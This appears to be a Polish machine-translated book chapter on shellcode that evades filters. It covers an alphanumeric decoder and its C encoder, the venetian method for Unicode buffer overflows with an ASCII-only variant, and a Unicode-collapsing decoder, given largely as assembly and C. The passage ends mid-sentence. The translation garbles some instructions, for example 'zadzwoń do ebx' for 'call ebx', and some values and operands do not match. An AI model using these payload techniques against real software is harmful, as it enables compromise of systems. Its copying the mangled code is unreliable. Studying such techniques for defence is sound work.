Pokonywanie filtrów

Pisanie exploita dla pewnych luk w zabezpieczeniach związanych z przepełnieniem bufora może być problematyczne ze względu na zastosowane filtry; na przykład podatny program może dopuszczać tylko znaki alfanumeryczne od A do Z, od a do z i od 0 do 9. W takich przypadkach musimy obejść dwie przeszkody. Po pierwsze, każdy napisany przez nas kod exploita musi mieć formę narzuconą przez filtr; po drugie, musimy znaleźć odpowiednią wartość, której można użyć do nadpisania zapisanego adresu powrotu lub wskaźnika funkcji, w zależności od rodzaju wykorzystywanego przepełnienia. Ta wartość musi mieć formę dozwoloną przez filtr. Zakładając rozsądny filtr, taki jak drukowalne ASCII lub Unicode, zazwyczaj możemy rozwiązać pierwszy problem. Rozwiązanie drugiego zależy do pewnego stopnia od szczęścia, wytrwałości i sprytu.

Pisanie exploitów do użytku z filtrem alfanumerycznym

W niedalekiej przeszłości widzieliśmy kilka sytuacji, w których kod exploita musiał być drukowalny w postaci ASCII; oznacza to, że każdy bajt musi leżeć między A i Z (0x41 do 0x5A), a i z (0x61 do 0x7A) lub 0 i 9 (0x30 do 0x39). Ten rodzaj szelkodu po raz pierwszy udokumentował Riley „Caezar" Eller w swoim artykule „Bypassing MSB Data Filters for Buffer Overflows". Chociaż szelkod w artykule Cezara dopuszcza tylko dowolny znak z zakresu od 0x20 do 0x7F, jest to dobry punkt wyjścia dla osób zainteresowanych przezwyciężeniem takich imitacji. Jeśli najpierw napiszemy nasz prawdziwy exploit, a potem go zakodujemy, wystarczy napisać dekoder w ASCII, który dekoduje, a następnie wykonuje prawdziwy exploit. Ta metoda wymaga napisania tylko niewielkiej ilości szelkodu ASCII raz i zmniejsza ogólny rozmiar exploita. Jakiego mechanizmu kodowania powinniśmy użyć? Schemat kodowania Base64 wydaje się dobrym kandydatem. Base64 zajmuje 3 bajty i konwertuje je do 4 drukowalnych bajtów ASCII i jest często używany jako mechanizm przesyłania plików binarnych. Base64 dałby nam współczynnik rozszerzenia 3 bajtów rzeczywistego kodu powłoki do 4 bajtów zakodowanego kodu powłoki. Jednak alfabet Base64 zawiera kilka znaków niealfanumerycznych, więc będziemy musieli użyć czegoś innego. Lepszym rozwiązaniem byłoby wymyślenie własnego schematu kodowania z mniejszym dekoderem. W tym celu proponuję Base16, wariant Base64. Oto jak to działa. Podziel 8-bitowy bajt na dwa 4-bitowe bajty. Dodaj 0x41 do każdego z tych 4 bitów. W ten sposób możemy przedstawić dowolny 8-bitowy bajt jako 2 bajty, oba o wartości od 0x41 do 0x50. Na przykład, jeśli mamy 8-bitowy bajt 0x90 (10010000 binarnie), dzielimy go na dwie 4-bitowe sekcje, co daje nam 1001 i 0000. Następnie dodajemy 0x41 do obu, otrzymując 0x4A i 0x41 - J i A. Nasz dekoder robi coś przeciwnego; odwraca proces. Pobiera pierwszy znak, J (lub w tym przypadku 0x4A), a następnie odejmuje od niego 0x41. Następnie przesuwamy to o 4 bity w lewo, dodajemy drugi bajt i odejmujemy 0x41. To pozostawia nam ponownie 0x90. Tutaj:

```
mov al,byte ptr [edi]

sub al,41h

shl al,4

inc edi

add al,byte ptr [edi]

sub al,41h

mov byte ptr [esi],al

inc esi
```

inc edi

cmp byte ptr[edi],0x51

jb here

To pokazuje podstawową pętlę dekodera. Nasz zaszyfrowany exploit powinien używać tylko znaków od A do P, więc możemy oznaczyć koniec naszego zaszyfrowanego exploita literą Q lub większą. EDI wskazuje początek bufora do dekodowania, podobnie jak ESI. Przenosimy pierwszy bajt bufora do AL i odejmujemy 0x41. Przesuń to o 4 bity w lewo, a następnie dodaj drugi bajt bufora do AL. Odejmij 0x41. Wynik zapisujemy do ESI — ponownie wykorzystujemy nasz bufor. Wykonujemy pętlę, aż dojdziemy do znaku w buforze większego niż P. Jednak wiele bajtów za tym dekoderem nie jest alfanumerycznych. Musimy stworzyć program do zapisywania dekodera, aby najpierw napisać ten dekoder, a następnie go uruchomić. Innym pytaniem jest, jak ustawić EDI i ESI, aby wskazywały właściwą lokalizację, w której można znaleźć nasz zaszyfrowany exploit? Cóż, mamy trochę więcej do zrobienia - musimy poprzedzić dekoder następującym kodem, aby ustawić rejestry:

jmp B

A: jmp C

B: call A

C: pop edi

add edi,0x1C

push edi

pop esi

Kilka pierwszych instrukcji pobiera adres naszego obecnego punktu wykonania (EIP-1), a następnie umieszcza go w rejestrze EDI. Następnie dodajemy 0x1C do EDI. EDI wskazuje teraz bajt po instrukcji jb na końcu kodu dekodera. To jest moment, w którym zaczyna się nasz zaszyfrowany exploit, a także moment, w którym jest napisany. W ten sposób, gdy pętla się zakończy, wykonanie jest kontynuowane bezpośrednio do naszego prawdziwego zdekodowanego szelkodu. Wracając, robimy kopię EDI, umieszczając ją w ESI. Będziemy używać ESI jako odniesienia do punktu, w którym zdekodujemy nasz exploit. Gdy dekoder trafi na znak większy niż P, wyrywamy się z pętli i kontynuujemy wykonywanie naszego nowo zdekodowanego exploita. Wszystko, co teraz robimy, to piszemy „program do pisania dekoderów" używając tylko znaków alfanumerycznych. Wykonaj następujący kod, a zobaczysz program do pisania dekodera w akcji:

#include < stdio.h >

int main()

{

char buffer[400]="aaaaaaaaj0X40HPZRXf5A9f5UVfPh0z00X5JEaBP"

"YAAAAAAQhC000X5C7wvH4wPh00a0X527MqPh0"

"0CCXf54wfPRXf5zzf5EefPh00M0X508aqH4uPh0G0"

"0X50ZgnH48PRX5000050M00PYAQX4aHHfPRX40"

```
“46PRXf50zf50bPYAAAAAAfQRXf50zf50oPYAAAfQ”

“RX5555z5ZZZnPAAAAAAAAAAAAAAAAAAAAAAA”

“AAAAAAAAAAAAAAAAAAAAAAAAEBEBEBEBEBE”

“BEBEBEBEBEBEBEBEBEBEBEBEBEBEBQQ”;

unsigned int x = 0;

x = &buffer;

__asm{

mov esp,x

jmp esp

}

return 0;

}
```

Prawdziwy kod exploita do wykonania jest kodowany, a następnie dołączany na końcu tego fragmentu kodu. Jest oddzielony znakiem większym niż P. Kod enkodera wygląda następująco:

```
#include < stdio.h >

#include < windows.h >

int main()

{

unsigned char

RealShellcode[]=”\x55\x8B\xEC\x68\x30\x30\x30\x30\x58\x8B\xE5\x5D\xC3”;

unsigned int count = 0, length=0, cnt=0;

unsigned char *ptr = null;

unsigned char a=0,b=0;

length = strlen(RealShellcode);

ptr = malloc((length + 1) * 2);

if(!ptr)

return printf(“malloc() failed.\n”);

ZeroMemory(ptr,(length+1)*2);

while(count < length)

{

a = b = RealShellcode[count];
```

```
a = a >> 4;

b = b << 4;

b = b >> 4;

a = a + 0x41;

b = b + 0x41;

ptr[cnt++] = a;

ptr[cnt++] = b;

count ++;

}

strcat(ptr,"QQ");

free(ptr);

return 0;

}
```

Pisanie exploitów do użytku z filtrem Unicode

Chris Anley po raz pierwszy udokumentował możliwość wykorzystania luk Unicode w swoim znakomitym artykule „Creating Arbitrary Shell Code in Unicode Expanded Strings" opublikowanym w styczniu 2002 r. (http://ww.ngssoftware.com/papers/unicodebo.pdf). Artykuł przedstawia metodę tworzenia shellcodu z kodem maszynowym, który ma charakter Unicode (ściśle mówiąc, UTF-16); oznacza to, że co drugi bajt jest wartością null. Chociaż artykuł Chrisa jest fantastycznym wprowadzeniem do korzystania z takich technik, istnieją pewne ograniczenia metody i kodu, który przedstawia. Dostrzega te ograniczenia i kończy swój artykuł stwierdzeniem, że można dokonać udoskonaleń. Ta sekcja przedstawia technikę Chrisa, znaną jako metoda wenecka, i jego implementację metody. Następnie wyszczególniamy pewne udoskonalenia i usuwamy niektóre z jego niedociągnięć.

Co to jest Unicode?

Zanim przejdziemy dalej, omówmy podstawy Unicode. Unicode jest standardem kodowania znaków przy użyciu 16 bitów na znak (zamiast 8 bitów - cóż, właściwie 7 bitów, jak ASCII), a zatem obsługuje znacznie większy zestaw znaków, umożliwiając internacjonalizację. Dzięki obsłudze standardu Unicode, system operacyjny może być łatwiej używany, a tym samym zyskać akceptację w społeczności międzynarodowej. Jeśli system operacyjny używa Unicode, kod systemu operacyjnego należy napisać tylko raz, a zmienić tylko język i zestaw znaków; więc nawet te systemy, które używają alfabetu łacińskiego, używają Unicode. Wartość ASCII każdego znaku w alfabecie rzymskim i systemie liczbowym jest uzupełniana bajtem null w postaci Unicode. Na przykład znak ASCII A, który ma wartość szesnastkową 0x41, staje się 0x4100 w Unicode.

String: ABCDEF

Under ASCII: \x41\x42\x43\x44\x45\x46\x00

Under Unicode: \x41\x00\x42\x00\x43\x00\x44\x00\x45\x00\x46\x00\x00\x00

Takie znaki Unicode są często określane jako szerokie; łańcuchy złożone z szerokich znaków są zakończone dwoma bajtami null. Jednak znaki spoza zestawu ASCII, takie jak te występujące w alfabecie chińskim lub rosyjskim, nie będą miały bajtów zerowych — wszystkie 16 bitów zostanie odpowiednio użytych. W rodzinie systemów operacyjnych Windows normalne ciągi znaków ASCII są często konwertowane na ich odpowiedniki w formacie Unicode, gdy są przekazywane do jądra lub gdy są używane w protokołach, takich jak RPC.

Konwersja z ASCII na Unicode

Na wysokim poziomie większość programów i tekstowych protokołów sieciowych, takich jak HTTP, obsługuje normalne ciągi ASCII. Te ciągi mogą być następnie konwertowane na ich odpowiedniki w Unicode, aby programy i serwery będące podstawą kodu niskiego poziomu mogły sobie z nimi poradzić. W systemie Windows normalny ciąg znaków ASCII zostałby przekonwertowany na jego odpowiednik szerokoznakowy za pomocą funkcji MultiByteToWideChar(). I odwrotnie, konwertowanie ciągu Unicode na jego odpowiednik ASCII wykorzystuje funkcję WideCharTo-MultiByte(). Pierwszym parametrem przekazywanym do obu tych funkcji jest strona kodowa. Strona kodowa opisuje odmiany zestawu znaków, który ma zostać zastosowany. W przypadku wywołania funkcji MultiByteToWideChar(), w zależności od tego, jaka strona kodowa została przekazana, jedna wartość 8-bitowa może zamienić się w zupełnie inne wartości 16-bitowe. Na przykład, gdy funkcja konwersji jest wywoływana ze stroną kodową ANSI (CP_ACP), 8-bitowa wartość 0x8B jest konwertowana na wartość szerokoznakową 0x3920. Jeśli jednak używana jest strona kodowa OEM (CP_OEM), 0x8B staje się 0xEF00. Nie trzeba dodawać, że strona kodowa użyta w konwersji będzie miała duży wpływ na każdy kod exploita wysłany do luki opartej na Unicode. Jednak częściej niż nie, znaki ASCII, takie jak A (0x41), są zwykle konwertowane na ich wersje szerokoznakowe po prostu przez dodanie bajtu null - 0x4100. W związku z tym, pisząc kod typu plug-and-play wykorzystujący przepełnienia bufora oparte na Unicode, lepiej jest użyć kodu składającego się wyłącznie ze znaków ASCII. W ten sposób minimalizujesz ryzyko zniekształcenia kodu przez procedury konwersji.

DLACZEGO WYSTĘPUJĄ LUKI W UNICODE?

Luki w kodzie Unicode występują z tego samego powodu, co normalne. Prawie każdy wie o niebezpieczeństwach związanych z używaniem funkcji takich jak strcpy() i strcat() i to samo dotyczy Unicode; istnieją odpowiedniki szerokoznakowe, takie jak wscpy() i wscat(). Rzeczywiście, nawet funkcje konwersji MultiByteToWideChar() i WideCharToMultiByte() są podatne na przepełnienie bufora, jeśli długości użytych ciągów znaków zostaną błędnie obliczone lub źle zrozumiane. Możesz nawet mieć luki w ciągach formatu Unicode.

Wykorzystywanie luk opartych na Unicode

Aby wykorzystać przepełnienie bufora oparte na Unicode, najpierw potrzebujemy mechanizmu do przeniesienia ścieżki wykonania procesu do bufora dostarczonego przez użytkownika. Ze względu na charakter luki, exploit nadpisze zapisany adres zwrotny lub procedurę obsługi wyjątków wartością Unicode. Na przykład, jeśli nasz bufor znajduje się pod adresem 0x00310004, to nadpisujemy zapisany adres powrotu/obsługę wyjątków na 0x00310004. Jeśli jeden z rejestrów zawiera adres bufora dostarczonego przez użytkownika (i jeśli masz szczęście), możesz znaleźć opcode „jmp register” lub „call register” pod adresem w stylu Unicode lub w jego pobliżu. Na przykład, jeśli rejestr EBX wskazuje na bufor dostarczony przez użytkownika, możesz znaleźć instrukcję jmp ebx być może pod adresem 0x00770058. Jeśli masz jeszcze więcej szczęścia, może ujść Ci na sucho instrukcja jmp lub call ebx powyżej adresu w formacie Unicode. Rozważ następujący kod:

0x007700FF wraz z ecx

0x00770100 wciśnij ecx

0x00770101 zadzwoń do ebx

Zastąpilibyśmy zapisany adres zwrotny/obsługę wyjątków wartością 0x007700FF, a wykonanie przeniosłoby się na ten adres. Kiedy wykonanie trwa w tym momencie, rejestr ECX jest zwiększany o 1 i odkładany na stos, a następnie wywoływany jest adres wskazywany przez EBX. Wykonywanie będzie następnie kontynuowane w buforze dostarczonym przez użytkownika. Jest to prawdopodobieństwo jeden na milion – ale warto o tym pamiętać. Jeśli w kodzie nie ma nic, co spowoduje naruszenie zasad dostępu przed instrukcją rejestru call/jmp, to na pewno nadaje się do użytku. Zakładając, że znajdziesz sposób na powrót do bufora dostarczonego przez użytkownika, następną rzeczą, której potrzebujesz, jest albo rejestr, który zawiera adres gdzieś w buforze, albo musisz znać adres z góry. Metoda wenecka używa tego adresu podczas tworzenia szelkodu w locie. Później omówimy, jak uzyskać poprawkę adresu bufora.

Dostępny zestaw instrukcji w eksploitach Unicode

W przypadku wykorzystywania luki w zabezpieczeniach Unicode wykonywany dowolny kod musi mieć postać, w której każdy drugi bajt jest wartością null, a drugi nie jest null. To oczywiście sprawia, że masz ograniczony zestaw instrukcji. Instrukcje dostępne dla twórców exploitów Unicode to wszystkie te operacje jednobajtowe, które zawierają takie instrukcje, jak push, pop, inc i dec. Dostępne są również instrukcje w postaci bajtów nn00nn, takie jak:

mul eax, dword ptr[eax],0x00nn

Alternatywnie możesz znaleźć

nn00nn00nn

Jak na przykład:

imul eax, dword ptr[eax],0x00nn00nn

Lub możesz znaleźć wiele instrukcji opartych na dodawaniu w postaci 00nn00, gdzie dwie instrukcje jednobajtowe są używane jedna po drugiej, jak w tym fragmencie kodu:

00401066 50 push eax

00401067 59 pop ecx

Instrukcje muszą być oddzielone odpowiednikiem nop w postaci 00 nn 00, aby miały charakter Unicode. Jednym z takich wyborów może być:

00401067 00 6D 00 add byte ptr [ebp],ch

Oczywiście, aby ta metoda się powiodła, adres wskazany przez EBP musi być zapisywalny. Jeśli nie, wybierz inny; wymieniliśmy o wiele więcej w dalszej części tej sekcji. Po umieszczeniu pomiędzy push a pop otrzymujemy:

00401066 50 push eax

00401067 00 6D 00 add byte ptr [ebp],ch

0040106A 59 pop ecx

Są to w naturze Unicode:

\x50\x00\x6D\x00\x59

Metoda wenecka

Napisanie w pełni funkcjonalnego exploita przy użyciu tak ograniczonego zestawu instrukcji jest co najmniej niezwykle trudne. Co więc można zrobić, aby zadanie było łatwiejsze? Cóż, możesz użyć ograniczonego zestawu dostępnych instrukcji, aby stworzyć prawdziwy kod exploita w locie, tak jak ma to miejsce przy użyciu techniki weneckiej opisanej w artykule Chrisa Anleya. Ta metoda zasadniczo obejmuje exploita, który wykorzystuje „nadawcę eksploitów" i bufor, w którym znajduje się już połowa prawdziwego exploita. Ten bufor jest miejscem docelowym, do którego ostatecznie dotrze prawdziwy kod exploita. Twórca exploitów, napisany przy użyciu ograniczonego zestawu instrukcji, zastępuje każdy pusty bajt w buforze docelowym tym, czym powinien być, aby stworzyć w pełni funkcjonalny prawdziwy kod exploita. Spójrzmy na przykład. Zanim autor exploitów zacznie wykonywać, bufor docelowy może być:

\x41\x00\x43\x00\x45\x00\x47\x00

Kiedy program do tworzenia exploitów zaczyna, zastępuje pierwszą wartość null wartością 0x42, aby dać nam

\x41\x42\x43\x00\x45\x00\x47\x00

Następny null jest zastępowany przez 0x44, co daje

\x41\x42\x43\x44\x45\x00\x47\x00

Proces jest powtarzany, aż pozostanie ostatni, w pełni funkcjonalny „prawdziwy" exploit.

\x41\x42\x43\x44\x45\x46\x47\x48

Jak widać, jest to bardzo podobne do zamykania żaluzji weneckich – stąd nazwa tej techniki. Aby ustawić każdy bajt null na odpowiednią wartość, autor exploita potrzebuje co najmniej jednego rejestru, który wskazuje pierwszy bajt null w połowie zapełnionego bufora, gdy rozpoczyna pracę. Zakładając, że EAX wskazuje na pierwszy bajt zerowy, można go ustawić za pomocą następującej instrukcji:

00401066 80 00 42 add byte ptr [eax],42h

Nie trzeba dodawać, że dodanie 0x42 do 0x00 daje nam 0x42. EAX musi być następnie zwiększany dwukrotnie, aby wskazywał na następny bajt pusty; wtedy też można go napełnić. Pamiętaj jednak, że część kodu, która jest autorem exploitów, musi mieć charakter Unicode, więc powinna być uzupełniona odpowiednikami typu nop. Aby napisać 1 bajt kodu exploita, potrzebny jest teraz następujący kod:

00401066 80 00 42 add byte ptr [eax],42h

00401069 00 6D 00 add byte ptr [ebp],ch

0040106C 40 inc eax

0040106D 00 6D 00 add byte ptr [ebp],ch

00401070 40 inc eax

00401071 00 6D 00 add byte ptr [ebp],ch

Jest to 14 bajtów (7 szerokich znaków) instrukcji i 2 bajty (1 szeroki znak) pamięci, co daje 16 bajtów (8 szerokich znaków) na 2 bajty prawdziwego kodu exploita. Jeden bajt jest już w buforze docelowym; drugi jest tworzony przez autora exploitów w locie. Chociaż kod Chrisa jest mały (relatywnie), co jest zaletą, problem polega na tym, że jeden z bajtów kodu ma wartość 0x80. Jeśli exploit zostanie najpierw wysłany jako ciąg znaków oparty na ASCII, a następnie przekonwertowany na Unicode przez podatny proces, w zależności od strony kodowej używanej podczas procedury konwersji, ten bajt może zostać zniekształcony. Ponadto podczas zastępowania bajtu null wartością większą niż 0x7F pojawia się ten sam problem - kod exploita może zostać zniekształcony i przez to nie działać. Aby rozwiązać ten problem, musimy stworzyć program do pisania exploitów, który używa tylko znaków od 0x20 do 0x7F. Jeszcze lepszym rozwiązaniem byłoby użycie tylko liter i cyfr; znaki interpunkcyjne są czasami traktowane w specjalny sposób i często są usuwane, pomijane lub konwertowane. Postaramy się jak najlepiej unikać tych postaci, aby zagwarantować sukces.

Weneckie wdrożenie ASCII

Naszym zadaniem jest stworzenie exploita typu Unicode, który przy użyciu metody weneckiej tworzy w locie dowolny kod, używając tylko liter i cyfr ASCII z alfabetu rzymskiego - jeśli wolisz Roman Exploit Writer. Mamy do dyspozycji kilka metod, ale wiele z nich jest zbyt nieefektywnych; używają zbyt wielu bajtów, aby utworzyć pojedynczy bajt dowolnego kodu powłoki. Metoda, którą tutaj przedstawiamy, jest zgodna z naszymi wymaganiami i wydaje się, że używa najmniejszej liczby bajtów dla odpowiednika ASCII oryginalnego kodu przedstawionego w metodzie weneckiej. Zanim przejdziemy do mięsa autora exploitów, musimy ustawić pewne stany. Potrzebujemy ECX, aby wskazywał na pierwszy bajt null w buforze docelowym i potrzebujemy wartości 0x01 na szczycie stosu, 0x39 w rejestrze EDX (w szczególności w DL) i 0x69 w rejestrze EBX (w szczególności w BL). Nie martw się, jeśli nie do końca rozumiesz, skąd pochodzą te warunki wstępne; wszystko wkrótce stanie się jasne. Po usunięciu odpowiedników nop (w tym przypadku dodaj bajt ptr [ebp],ch) dla jasności, kod konfiguracji wygląda następująco:

0040B55E 6A 00 push 0

0040B560 5B pop ebx

0040B564 43 inc ebx

0040B568 53 push ebx

0040B56C 54 push esp

0040B570 58 pop eax

0040B574 6B 00 39 imul eax,dword ptr [eax],39h

0040B57A 50 push eax

0040B57E 5A pop edx

0040B582 54 push esp

0040B586 58 pop eax

0040B58A 6B 00 69 imul eax,dword ptr [eax],69h

0040B590 50 push eax

0040B594 5B pop ebx

Zakładając, że ECX już zawiera wskaźnik do pierwszego bajtu zerowego (i zajmiemy się tym aspektem później), ten fragment kodu zaczyna się od włożenia 0x00000000 na szczyt stosu, który jest następnie zrzucany do rejestru EBX. EBX posiada teraz wartość 0. Następnie zwiększamy EBX o 1 i odkładamy to na stos. Następnie odkładamy adres wierzchołka stosu na wierzch, a następnie wskakujemy do EAX. EAX przechowuje teraz adres pamięci 1. Teraz mnożymy 1 przez 0x39, aby otrzymać 0x39, a wynik jest przechowywany w EAX. Jest to następnie umieszczane na stosie i wstawiane do EDX. EDX posiada teraz wartość 0x39 - co ważniejsze, wartość dolnej 8-bitowej części DL w EDX zawiera 0x39. Następnie ponownie odkładamy adres 1 na wierzch stosu za pomocą instrukcji push esp i ponownie wstawiamy go do EAX. EAX zawiera ponownie adres pamięci 1. Mnożymy to 1 przez 0x69, pozostawiając ten wynik w EAX. Następnie odkładamy wynik na stos i wrzucamy go do EBX. EBX / BL zawiera teraz wartość 0x69. Zarówno BL, jak i DL wejdą w grę później, gdy będziemy musieli napisać bajt o wartości większej niż 0x7F. Przechodząc do kodu, który tworzy implementację metody weneckiej, i ponownie z usuniętymi dla jasności brakami odpowiedników, mamy:

0040B5BA 54 push esp

0040B5BE 58 pop eax

0040B5C2 6B 00 41 imul eax,dword ptr [eax],41h

0040B5C5 00 41 00 add byte ptr [ecx],al

0040B5C8 41 inc ecx

0040B5CC 41 inc ecx

Pamiętając, że na szczycie stosu mamy wartość 0x00000001, odkładamy adres 1 na stos. Następnie wrzucamy to do EAX, więc EAX zawiera teraz adres 1. Używając operacji imul, mnożymy to 1 przez wartość, którą chcemy zapisać - w tym przypadku 0x41. EAX zawiera teraz 0x00000041, a zatem AL przechowuje 0x41. Dodajemy to do bajtu wskazywanego przez ECX – pamiętaj, że jest to bajt zerowy, więc gdy dodamy 0x41 do 0x00, zostaje nam 0x41-w ten sposób zamykając pierwszą „blindę". Następnie zwiększamy ECX dwukrotnie, aby wskazać następny bajt null, pomijając bajt inny niż null, i powtarzamy proces, aż cały kod zostanie napisany. Co się stanie, jeśli będziesz musiał napisać bajt o wartości większej niż 0x7F? W tym momencie w grę wchodzą BL i DL. Poniżej znajduje się kilka odmian poprzedniego kodu, który dotyczy tej sytuacji. Zakładając, że omawiany bajt null powinien zostać zastąpiony bajtem z zakresu od 0x7F do 0xAF, na przykład 0x94 (xchg eax,esp), użyjemy następującego kodu:

0040B5BA 54 push esp

0040B5BE 58 pop eax

0040B5C2 6B 00 5B imul eax,dword ptr [eax],5Bh

0040B5C5 00 41 00 add byte ptr [ecx],al

0040B5C8 46 inc esi

0040B5C9 00 51 00 add byte ptr [ecx],dl // <---- HERE

0040B5CC 41 inc ecx

0040B5D0 41 inc ecx

Zwróć uwagę, co się tutaj dzieje. Najpierw zapisujemy wartość 0x5B do bajtu zerowego, a następnie dodajemy do niego wartość w DL - 0x39. 0x39 plus 0x5B to 0x94. Nawiasem mówiąc, wstawiamy INC ESI jako odpowiednik nop, aby uniknąć zbyt wczesnego zwiększania ECX i dodawania 0x39 do jednego z bajtów innych niż null. Jeśli zastępowany bajt null powinien mieć wartość z zakresu od 0xAF do 0xFF, na przykład 0xC3 (ret), użyj następującego kodu:

0040B5BA 54 push esp

0040B5BE 58 pop eax

0040B5C2 6B 00 5A imul eax,dword ptr [eax],5Ah

0040B5C5 00 41 00 add byte ptr [ecx],al

0040B5C8 46 inc esi

0040B5C9 00 59 00 add byte ptr [ecx],bl // <---- HERE

0040B5CC 41 inc ecx

0040B5D0 41 inc ecx

W tym przypadku robimy to samo, tym razem używając BL, aby dodać 0x69 do miejsca, w którym wskazuje bajt. Odbywa się to za pomocą ECX, który właśnie został ustawiony na 0x5A. 0x5A plus 0x69 równa się 0xC3, a zatem napisaliśmy naszą instrukcję ret. Co jeśli potrzebujemy wartości z zakresu od 0x00 do 0x20? W tym przypadku po prostu przepełniamy bajt. Zakładając, że chcemy zastąpić bajt null przez 0x06 (push es), użyjemy tego kodu:

0040B5BA 54 push esp

0040B5BE 58 pop eax

0040B5C2 6B 00 64 imul eax,dword ptr [eax],64h

0040B5C5 00 41 00 add byte ptr [ecx],al

0040B5C8 46 inc esi

0040B5C9 00 59 00 add byte ptr [ecx],bl

// <--- BL == 0x69

0040B5CC 46 inc esi

0040B5CD 00 51 00 add byte ptr [ecx],dl

// <--- DL == 0x39

0040B5D0 41 inc ecx

0040B5D4 41 inc ecx

0x60 plus 0x69 plus 0x39 równa się 0x106. Ale bajt może przechowywać tylko maksymalną wartość 0xFF, więc bajt „przepełnia się”, pozostawiając 0x06. Tej metody można również użyć do dostosowania bajtów innych niż null, jeśli nie mieszczą się one w zakresie od 0x20 do 0x7F. Co więcej, możemy być wydajni i zrobić coś pożytecznego z jednym z ekwiwalentów nop – wykorzystajmy tę metodę i uczyńmy ją nieekwiwalentną. Zakładając na przykład, że bajtem innym niż null powinien być 0xC3 (ret), początkowo ustawilibyśmy go na 0x5A. Upewnilibyśmy się, że zrobimy to przed wywołaniem drugiego

inc ecx, podczas ustawiania bajtu zerowego, przed bajtem innym niż null. Moglibyśmy to dostosować w następujący sposób:

0040B5BA 54 push esp

0040B5BE 58 pop eax

0040B5C2 6B 00 41 imul eax,dword ptr [eax],41h

0040B5C5 00 41 00 add byte ptr [ecx],al

0040B5C8 41 inc ecx

// NOW ECX POINTS TO THE 0x5A IN THE DESTINATION BUFFER

0040B5C9 00 59 00 add byte ptr [ecx],bl

// <-- BL == 0x69 NON-null BYTE NOW EQUALS 0xC3

0040B5CC 41 inc ecx

0040B5CD 00 6D 00 add byte ptr [ebp],ch

Powtarzamy te czynności, aż nasz kod będzie kompletny. Pozostaje nam wtedy pytanie: jaki kod naprawdę chcemy wykonać?

Dekoder i dekodowanie

Teraz, gdy stworzyliśmy naszą implementację Roman Exploit Writer, musimy napisać dobry exploit. Exploity mogą być jednak duże, więc użycie poprzedniej techniki może okazać się niewykonalne, ponieważ po prostu możemy nie mieć wystarczająco dużo miejsca. Najlepszym rozwiązaniem byłoby użycie naszego kreatora exploitów do stworzenia małego dekodera, który pobiera nasz prawdziwy exploit w formie Unicode i konwertuje go z powrotem do formy innej niż Unicode — nasza własna funkcja WideCharToMultiByte(). Ta metoda znacznie zaoszczędzi miejsce. Użyjemy metody weneckiej do stworzenia własnego kodu WideCharToMultiByte(), a następnie dołożymy nasz prawdziwy kod exploita na jego końcu. Oto jak działa dekoder. Załóżmy, że rzeczywisty dowolny kod, który chcemy wykonać to \ x41 \ x42 \ x43 \ x44 \ x45 \ x46 \ x47 \ x48

Podczas wykorzystywania luki jest ona konwertowana na ciąg znaków Unicode:

\ x41 \ x00 \ x42 \ x00 \ x43 \ x00 \ x44 \ x00 \ x45 \ x00 \ x46 \ x00 \ x47 \ x00 \ x48 \ x00

Jeśli jednak wyślemy

\ x41 \ x43 \ x45 \ x47 \ x48 \ x46 \ x44 \ x42

stanie się

\ x41 \ x00 \ x43 \ x00 \ x45 \ x00 \ x47 \ x00 \ x48 \ x00 \ x46 \ x00 \ x44 \ x00 \ x42 \ x00

Następnie piszemy nasz dekoder WideCharToMultiByte(), który pobiera \x42 na końcu i umieszcza go po \x41. Następnie skopiuje \ x44 po \ x43 i tak dalej, aż do zakończenia.

\ x41 \ x00 \ x43 \ x00 \ x45 \ x00 \ x47 \ x00 \ x48 \ x00 \ x46 \ x00 \ x44 \ x00 \ x42 \ x00

Przesuń \ x42.

\ x41 \ x42 \ x43 \ x00 \ x45 \ x00 \ x47 \ x00 \ x48 \ x00 \ x46 \ x00 \ x44 \ x00 \ x42 \ x00

Przesuń \ x44.

\ x41 \ x42 \ x43 \ x44 \ x45 \ x00 \ x47 \ x00 \ x48 \ x00 \ x46 \ x00 \ x44 \ x00 \ x42 \ x00

Przesuń \ x46.

\ x41 \ x42 \ x43 \ x44 \ x45 \ x46 \ x47 \ x00 \ x48 \ x00 \ x46 \ x00 \ x44 \ x00 \ x42 \ x00

Przesuń \ x48.

\ x41 \ x42 \ x43 \ x44 \ x45 \ x46 \ x47 \ x48 \ x48 \ x00 \ x46 \ x00 \ x44 \ x00 \ x42 \ x00

W ten sposób zdekodowaliśmy ciąg znaków Unicode, aby uzyskać rzeczywisty, dowolny kod, który chcemy wykonać.

Kod dekodera

Dekoder powinien być napisany jako samodzielny moduł, co czyni go plug-and-play. Jedynym założeniem, jakie przyjmuje ten dekoder, jest to, że rejestr EDI po wejściu będzie zawierał adres pierwszej instrukcji, która zostanie wykonana - w tym przypadku 0x004010B4. Długość dekodera, 0x23 bajtów, jest następnie dodawana do EDI tak, że EDI wskazuje teraz tuż za instrukcją jne here. W tym miejscu rozpocznie się ciąg znaków Unicode do dekodowania.

004010B4 83 C7 23 add edi,23h

004010B7 33 C0 xor eax,eax

004010B9 33 C9 xor ecx,ecx

004010BB F7 D1 not ecx

004010BD F2 66 AF repne scas word ptr [edi]

004010C0 F7 D1 not ecx

004010C2 D1 E1 shl ecx,1

004010C4 2B F9 sub edi,ecx

004010C6 83 E9 04 sub ecx,4

004010C9 47 inc edi

tu:

004010CA 49 dec ecx

004010CB 8A 14 0F mov dl,dword ptr [edi+ecx]

004010CE 88 17 mov byte ptr [edi],dl

004010D0 47 inc edi

004010D1 47 inc edi

004010D2 49 dec ecx

004010D3 49 dec ecx

004010D4 49 dec ecx

004010D5 75 F3 jne here (004010ca)

Przed zdekodowaniem ciągu Unicode dekoder musi znać długość ciągu do zdekodowania. Jeśli ten kod ma być zgodny z funkcją plug-and-play, to ciąg może mieć dowolną długość. Aby uzyskać długość ciągu, kod skanuje ciąg w poszukiwaniu dwóch pustych bajtów; pamiętaj, że dwa bajty null kończą ciąg Unicode. Kiedy rozpoczyna się pętla dekodera, przy zaznaczonej tutaj etykiecie ECX zawiera długość ciągu, a EDI wskazuje początek ciąg. EDI jest następnie zwiększane o 1, aby wskazać pierwszy bajt pusty, a ECX jest zmniejszane o 1. Teraz, kiedy ECX jest dodawane do EDI, wskazuje na ostatni niepusty znak ciągu. Ten bajt inny niż null jest następnie tymczasowo przenoszony do DL, a następnie przenoszony do bajtu null wskazywanego przez EDI. EDI jest zwiększane o 2, a ECX zmniejszane o 4, a pętla jest kontynuowana. Kiedy EDI wskazuje na środek ciągu, ECX wynosi 0, a wszystkie niezerowe bajty na końcu ciągu Unicode zostały przesunięte na początek ciągu, zastępując bajty puste, i mamy ciągły blok kod. Kiedy pętla się kończy, wykonanie jest kontynuowane na początku świeżo zdekodowanego exploita, który został zdekodowany aż do momentu tuż po 